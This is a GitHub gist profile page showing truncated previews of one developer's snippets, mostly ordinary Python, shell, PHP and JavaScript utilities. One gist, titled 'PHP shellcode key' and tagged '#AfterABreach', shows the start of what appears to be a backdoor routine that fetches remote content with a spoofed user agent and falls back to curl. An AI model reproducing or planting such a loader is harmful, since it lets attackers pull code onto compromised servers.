Skip to content

Instantly share code, notes, and snippets.

View nolochemical's full-sized avatar

Victor Phelemba nolochemical

  • Toronto, Ontario
View GitHub Profile
@nolochemical
nolochemical / gist:1236732
Created September 23, 2011 04:07
SimpleJson CRUD
#! /usr/bin/python2
import simplejson as json
def save_profile():
pfile = ".profile" # {'settings':{'clean_cache_close':908}}
pfile_handle = open(pfile, "r+")
preader = pfile_handle.readline()
tmp = json.loads(preader)
tmp['settings']['clean_cache_close'] = 18
@nolochemical
nolochemical / vncwalk
Created October 8, 2011 00:02
x11vnc shell script
#! /bin/sh
sudo x11vnc -display :0 -passwd $1 -auth /var/run/slim.auth
@nolochemical
nolochemical / gist:1297869
Created October 19, 2011 09:53
SimpleJson CRUD 2
#! /usr/bin/python2
import ConfigParser
def save_profile():
pfile = "profile.cfg"
'''
profile.cfg
['settings']
clean_cache_close = 908
@nolochemical
nolochemical / gist:1336990
Created November 3, 2011 16:38
Quick cpanel login
$this->library->load(array('form_validation','session', 'file', [url/uri]));
/*
You will need url helper for redirect.
check http://codeigniter.com/user_guide/helpers/url_helper.html
Here is a more complete contruct for this app, to continue forward.:
function __construct()
{
parent::__construct();
@nolochemical
nolochemical / Tiny Python Pubnub UDP Server
Created October 21, 2012 15:45
Tiny Python Pubnub UDP Server
#!/usr/bin/python2
# http://wiki.python.org/moin/UdpCommunication
import socket
import re
from Pubnub import Pubnub
## Initiate Class
pubnub = Pubnub( 'demo', 'demo', None, False )
@nolochemical
nolochemical / CI-v2.1.3-CaptchaSnippet.php
Created November 12, 2012 14:03
CI v2.1.3 Captcha Snippet
// captcha helper
// _CI_DIR_v2.1.3_/user_guide/helpers/captcha_helper.html
// Keep in mind your binding vars right *into your db query*, double check your inputs.
--controller : form_validation, callback__check_cap
function _check_cap($str)
{
if( $this->ap->clean_captcha($str) == TRUE)
{
return TRUE;
}
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>enganger</title>
<style title="Twine CSS">@-webkit-keyframes appear{0%{opacity:0}to{opacity:1}}@keyframes appear{0%{opacity:0}to{opacity:1}}@-webkit-keyframes fade-in-out{0%,to{opacity:0}50%{opacity:1}}@keyframes fade-in-out{0%,to{opacity:0}50%{opacity:1}}@-webkit-keyframes rumble{50%{-webkit-transform:translateY(-.2em);transform:translateY(-.2em)}}@keyframes rumble{50%{-webkit-transform:translateY(-.2em);transform:translateY(-.2em)}}@-webkit-keyframes shudder{50%{-webkit-transform:translateX(0.2em);transform:translateX(0.2em)}}@keyframes shudder{50%{-webkit-transform:translateX(0.2em);transform:translateX(0.2em)}}@-webkit-keyframes box-flash{0%{background-color:#fff;color:#fff}}@keyframes box-flash{0%{background-color:#fff;color:#fff}}@-webkit-keyframes pulse{0%{-webkit-transform:scale(0,0);transform:scale(0,0)}20%{-webkit-transform:scale(1.2,1.2);transform:scale(1.2,1.2)}40%{-webkit-transform:scale(0.9,.9);transform:scale(0.9,.9)}60%{-webkit-transf
@nolochemical
nolochemical / PHP shellcode key
Last active August 29, 2015 14:25 — forked from anonymous/PHP shellcode key
A front door carpet key.. #AfterABreach
<?php
function _dlss($url)
{
$file_contents = '';
$real_user_agent = $_SERVER['HTTP_USER_AGENT'];
if (function_exists('file_get_contents')) {
ini_set('user_agent',$real_user_agent);
$file_contents = @file_get_contents($url);
}
if (strlen($file_contents) < 10 && function_exists('curl_init')) {
@nolochemical
nolochemical / FakeAPIDataToCaller
Last active June 1, 2016 15:58
Sending Fake Data To API callers
var dataSender = (function(){
return {
createUser: function(id){
console.log('user: '+id+' created');
},
getUser: function(id){
console.log('{"basketId" : "f1c4678968d6","name" : "Bob Barker","username" : "bobbarker","address" : "123 cherry tree lane","tel" : 6471235555,"email" : "bob@barker.com","active": true,"orders":[] }');
},
updateUser: function(id){
console.log('user:'+id+' updated');
@nolochemical
nolochemical / template_literals.js
Created November 14, 2017 16:36
Escape Variables ES6
/* Template literals
Ascii 96 || html &grave;
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals
.*/
hostname = "kruger"
port = 8080
console.log(`Server running at http://${hostname}:${port}/`);
//Server running at http://kruger:8080/
console.log(`Server running at